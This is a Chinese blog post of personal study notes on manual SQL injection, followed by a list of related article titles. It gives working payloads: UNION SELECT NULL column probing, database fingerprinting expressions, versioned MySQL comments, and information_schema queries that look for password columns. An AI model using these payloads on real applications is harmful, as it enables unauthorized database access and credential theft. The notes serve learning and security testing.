SQL注入的一些笔记(一)
来源:互联网 发布:java回调函数的作用 编辑:程序博客网 时间:2024/06/05 16:35
注释:-- (含空格)或#
注入字符串:
1、‘
2、’‘
3、连接符:Mysql:’ ‘A(空格)
Oracle:'||'A
MS-SQL:'+'A
注入数字:
1、表达式
2、SQL关键字表达式:67-ASCII(‘A’)
3、单引号被过滤时,基于必要时的隐式转换:51-ASCII(1)
PS:URL编码:
1、&:%26 =:%3d
2、空格:+或%20
3、+含义用%2b编码
4、;用%3b不表示分隔cookie字段
注入查询结构:
1、对于ORDER BY结构,提交1,2,3,。。。且此结构可知道查询结果共多少列
2、1 ASC
1 DESC
不接受UNION,WHERE等关键字,用嵌套查询代替参数
区分数据库方式:
Oracle:BITAND(1,1)-BITAND(1,1)
MS-SQL:@@PACK_RECEIVED-@@PACK_RECEIVED
Mysql:CONNECTION_ID()-CONNECTION_ID()
Mysql处理行内注释:
/*!32302 and 1=0 */
如上,以!开头,接数据库版本信息,则若实际版本高于或等于注释中的版本,注释中内容解释为sql
UNION组合的列,列数必须相同,且数据类型兼容;NULL可以转换为任何数据类型,占据一列,未知数据类型可以用NULL填充
确定列数:
1、用ORDER BY语句
2、' union select null--
' union select null,null--
直到出现查询结果
确定字符串列:
确定列数后,将上面确定列数的注入语句其中一个null改为字符串‘a’,循环测试所有列
PS:Oracle每个select语句必须有from,可用全局表DUAL
提取数据库版本:
MS-SQL,Mysql:@@version,version()
Oracle: select banner from v$version
user()可以提取连接数据库的用户名
database()提取数据库名称
提取有用信息:
利用元数据库information_schema:
1、information_schema.columns:所有数据库表名和列名,table_name,column_name
PS:可以查询特定有用信息,利用where子句 select table_name,column_name from information_schema.columns where column_name like '%pass%'
2、information_schema.schemata:数据库名称。schema_name
PS:连接查询结果列:oracle: table_name||':'||column_name
MS-SQL:table_name+':'+column_name
Mysql: CONCAT(table_name,':',column_name)
- SQL注入的一些笔记(一)
- sql注入的一些整理
- 我的学习笔记(SQL简单的注入)(1) 手工注入以及注入一些常用语句
- SQL注入中的一些原理笔记(手工注入)
- sql注入文章阅读笔记(一)
- SQL注入学习笔记(一)
- SQL注入学习笔记(一)
- 收集一些sql注入的经典文章
- 一些防止SQL注入攻击的方法
- php SQL 防注入的一些经验
- Hibernate一些防止SQL注入的方式
- sql注入绕过的一些方法
- 防止sql注入的一些方法
- 阿D SQL注入工具常用的一些注入命令
- 防止SQL注入的若干笔记
- SQL注入攻击与防御学习笔记一
- SQL注入一
- SQL注入(一)
- 编程之美 2.14 求数组的子数组之和的最大值
- 安卓TableLayout表格布局
- PyCharm中引用Python解释器出现的错误!
- poj 1088 DP
- oracle修改字段数据类型
- SQL注入的一些笔记(一)
- Hibernate主键生成策略
- Basic Level 1001. 害死人不偿命的(3n+1)猜想 (15)
- Oracle RANK函数
- 开博第一篇,写点关于GPGPU的东西吧
- iOS Push通知资料.
- IMP导入错误 IMP-00003: ORACLE error 2298 encountered
- c#对象和json对象转换方法总结
- Spring框架的IoC和AOP